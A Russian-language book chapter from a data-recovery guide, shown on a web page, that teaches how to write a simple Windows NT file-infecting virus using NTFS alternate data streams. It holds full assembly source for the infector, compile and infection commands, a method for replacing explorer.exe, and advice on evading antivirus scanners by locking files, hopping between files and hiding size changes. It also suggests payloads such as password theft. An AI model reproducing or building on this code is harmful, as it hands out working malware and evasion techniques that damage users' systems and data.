Книга: Восстановление данных. Практическое руководство

Простейший вирус под Windows NT

Простейший вирус под Windows NT

Внедрение вируса в исполняемый файл, в общем случае, достаточно сложный и мучительней процесс. Как минимум для этого требуется изучить формат РЕ-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вируса и за сезон, а хочется создать его прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows NT/2000/XP) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных (рис. 6.4).


Рис. 6.4. Файловая система NTFS поддерживает несколько потоков в рамках одного файла

Имя потока отделяется от имени файла знаком двоеточия (:), например: my_file:stream. Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию <Shift>+<F4>, вводим с клавиатуры имя файла и потока данных, например: xxx:yyy, и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx. Почему же файл имеет нулевую длину? А где же введенный нами только что текст? Нажмем клавишу <F4> и... действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду: more < xxx:yyy.

Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным сканерам. Метод, применяемый для обмана антивирусных программ, мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.

Алгоритм работы вируса

Закройте руководство по формату исполняемых файлов (Portable Executable, РЕ). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, делающий свое черное дело и передающий управление на основное тело. Работать такой вирус будет только на Windows NT/2000/XP и только под NTFS. На работу с файловой системой FAT он изначально не рассчитан. Оригинальное содержимое заражаемого файла на разделах FAT будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков. В качестве примера архиватора, поддерживающего файловые потоки, можно привести RAR. В диалоговом окне Имя и параметры архива есть вкладка Дополнительно, которая содержит группу опций Параметры NTFS (рис. 6.5). В составе этой группы опций есть флажок Сохранять файловые потоки. Установите эту опцию, если при упаковке файлов, содержащих несколько потоков, требуется сохранить их все.


Рис. 6.5. Архиватор RAR способен сохранять файловые потоки в процессе архивации

Существует и другая проблема. Windows блокирует доступ ко всем открытым файлам, и попытка внедрения в них обречена на неудачу. Тем не менее, выход из этого положения существует. Заблокированный файл нельзя открыть, но можно переименовать. Возьмем, например, explorer.exe, и переименуем его, например, в foo. Затем создадим новый файл с точно таким же именем, в основном потоке которого поместим вирусное тело, а прежний explorer.exe скопируем в дополнительный поток. При последующих запусках системы управление получит наш explorer.exe, и файл foo будет можно удалить.

Примечание

Вообще говоря, переименованный файл можно и не удалять. Правда, в этом случае он может привлечь внимание бдительного пользователя или антивирусного ревизора.

Теперь настал момент поговорить об антивирусных ревизорах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусных программ. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а, значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile со сброшенным флагом dwShareMode до LockFile/LockFileEx. Подробнее об этом можно прочитать в Platform SDK.

Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не сотрет. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, шансы на его обнаружение стремительно уменьшаются.

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания — тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить. Например, можно вести мониторинг дисковой активности, осуществляя заражение только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет файловый монитор (Filemon.exe) Марка Руссиновича (http://www.systeminternals.com). Эта утилита поставляется с исходным кодом, который легко доработать под любые потребности.

Программный код вируса

Естественные языки с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком они неоднозначны и внутренне противоречивы. Поэтому, во избежание недоразумений, продублируем описание алгоритма на языке ассемблера.

В листинге 6.5 приведен исходный код ключевого фрагмента вируса с комментариями.

Листинг 6.5. Исходный код ключевого фрагмента лабораторного вируса

section '.code' code readable executablestart:
      ; Удаляем временный файл
      push foo
      call [DeleteFile]
      ; Определяем наше имя
      push 1000
      push buf
      push 0
      call [GetModuleFileName]
      ; Считываем командную строку
      ; Ключ filename - заразить
      call [GetCommandLine]
      mov ebp, eax
      xor ebx, ebx
      mov ecx, 202A2D2Dh ;
rool:
      cmp [eax], ecx ; это '--*'?
      jz infect
      inc eax
      cmp [eax], ebx ; Конец командной строки?
      jnz rool
      ; Выводим диагностическое сообщение,
      ; подтверждая свое присутствие в файле
      push 0
      push aInfected
      push aHello
      push 0
      call [MessageBox]
      ; Добавляем к своему имени имя потока NTFS
      mov esi, code_name
      mov edi, buf
      mov ecx, 100; сode_name_end - code_name
      xor eax,eax
      repne scasb
      dec edi
      rep movsb
      ; Запускаем поток NTFS на выполнение
      push xxx
      push xxx
      push eax
      push eax
      push eax
      push eax
      push eax
      push eax
      push ebp
      push buf
      call [CreateProcess]
      jmp go2exit ; Выходим из вируса
infect:
      ; Устанавливаем eax на первый символ имени файла-жертвы
      ; (далее по тексту dst)
      add eax, 4
      xchg eax, ebp
      xor eax,eax
      inc eax
      ; Здесь можно вставить проверку dst на заражение
      ; Переименовываем dst в foo
      push foo
      push ebp
      call [RenameFile]
      ; Копируем в foo основной поток dst
      push eax
      push ebp
      push buf
      call [CopyFile]
      ; Добавляем к своему имени имя потока NTFS
      mov esi, ebp
      mov edi, buf
copy_rool:
      lodsb
      stosb
      test al,al
      jnz copy_rool
      mov esi, code_name
      dec edi
copy_rool2:
      lodsb
      stosb
      test al,al
      jnz copy_rool2
      ; Копируем foo в dst:bar
      push eax
      push buf
      push foo
      call [CopyFile]
      ; Здесь не помешает добавить коррекцию длины заражаемого файла
      ; Удаляем foo
      push foo
      call [DeleteFile]
      ; Выводим диагностическое сообщение,
      ; подтверждающее успешность заражения файла
      push 0
      push aInfected
      push ebp
      push 0
      call [MessageBox]
      ; Выход из вируса
go2exit:
      push 0
      call [ExitProcess]
section '.data' data readable writeable
      foo db "foo",0        ; Имя временного файла
      code_name db ":bar",0 ; Имя потока, в котором будет...
      code_name_end:        ; ...сохранено основное тело
      ; Различные текстовые строки, выводимые вирусом
      aInfected db "infected",0
      aHello db "Hello, you are hacked"
      ; Различные буфера для служебных целей
      buf rb 1000
      xxx rb 1000

Компиляция и тестирование вируса

Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте http://flatassembler.net/. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.

Скачайте последнюю версию FASM, распакуйте архив и в командной строке наберите следующую команду: fasm.exe xcode.asm. Если все сделано правильно, на диске должен появиться файл xcode.exe. Запустим его на выполнение с опцией командной строки --*, за которой следует имя файла, который требуется заразить, например, notepad.exe (xcode.exe --* notepad.exe). Появление диалогового окна, показанного на рис. 6.6, свидетельствует об успешном внедрении. Если попытка заражения потерпела неудачу, первым делом необходимо убедиться в наличии прав доступа к файлу. Захватывать их самостоятельно наш вирус не собирается. Во всяком случае, пока. Но вот настоящие вирусы, в отличие от нашего безобидного лабораторного создания, сделают это непременно.


Рис. 6.6. Диалоговое окно, свидетельствующее об успешном заражении

Теперь запустите зараженный файл notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно (рис. 6.7), а после нажатия на кнопку OK передает управление оригинальному коду программы.


Рис. 6.7. Диалоговое окно, отображаемое зараженным файлом при запуске на исполнение

Чтобы не возбуждать у пользователя подозрений, настоящий вирусописатель удалит это диалоговое окно из финальной версии вируса, заменив его какой-нибудь вредоносной "начинкой". Тут все зависит от вирусописательских намерений и фантазии. Например, можно перевернуть экран, сыграть над пользователем еще какую-нибудь безобидную шутку, или же заняться более зловредной деятельностью вроде похищения паролей или другой конфиденциальной информации.

Зараженный файл обладает всеми необходимыми репродуктивными способностями и может заражать другие исполняемые файлы. Например, чтобы заразить игру Solitaire, следует дать команду notepad.exe --* sol.exe. Кстати говоря, ни один пользователь в здравом уме не будет самостоятельно заражать файлы через командную строку. Поэтому вирусописатель должен будет разработать процедуру поиска очередного кандидата на заражение самостоятельно.

Внимание!

До сих пор рассматриваемый вирус действительно был абсолютно безобиден. Он не размножается самостоятельно и не выполняет никаких злонамеренных или деструктивных действий. Ведь он создан лишь для демонстрации потенциальной опасности, подстерегающей пользователей NTFS. Исследовательская деятельность преступлением не является. Но вот если кто-то из вас решит доработать вирус так, чтобы он самостоятельно размножался и осуществлял вредоносные действия, то следует напомнить, что это уже станет уголовно наказуемым деянием.

Так что вместо разработки вредоносной начинки будем совершенствовать вирус в другом направлении. При повторном заражении файла текущая версия необратимо затирает оригинальный код своим телом, в результате чего файл станет неработоспособным. Вот беда! Как же ее побороть? Можно добавить проверку на зараженность перед копированием вируса в файл. Для этого следует вызвать функцию CreateFile, передать ей имя файла вместе с потоком (например, notepad.exe:bar) и проверить результат. Если файл открыть не удалось, значит, потока bar этот файл не содержит, и, следовательно, он еще не заражен. Если же файл удалось успешно открыть, следует отказаться от заражения или выбрать другой поток. Например: bar_01, bar_02, bar_03.

Еще одна проблема заключается в том, что вирус не корректирует длину целевого файла, и после внедрения она станет равной 4 Кбайт (именно таков размер текущей версии xcode.exe). Это плохо, так как пользователь тут же заподозрит подвох (файл explorer.exe, занимающий 4 Кбайт, выглядит довольно забавно), занервничает и начнет запускать антивирусы. Чтобы устранить этот недостаток, можно запомнить длину инфицируемого файла перед внедрением, затем скопировать в основной поток тело вируса, открыть файл на запись и вызвать функцию SetFilePointer для установки указателя на оригинальный размер, увеличивая размер инфицированного файла до исходного значения.

Предложенная стратегия внедрения, конечно, не является идеальной, но все же это намного лучше, чем прописываться в реестре, который контролируется множеством утилит мониторинга. Наконец, чтобы не пострадать от своего же собственного вируса, каждый вирусописатель всегда должен иметь под рукой противоядие. Командный файл, приведенный в листинге 6.6, извлекает оригинальное содержимое файла из потока bar и записывает его в файл reborn.exe.

Листинг 6.6. Командный файл, восстанавливающий зараженные файлы в исходное состояние

more < %1:bar > reborn.exe
ECHO I'm reborn now!

Оглавление книги

Оглавление статьи/книги

Генерация: 1.039. Запросов К БД/Cache: 3 / 1
поделиться
Вверх Вниз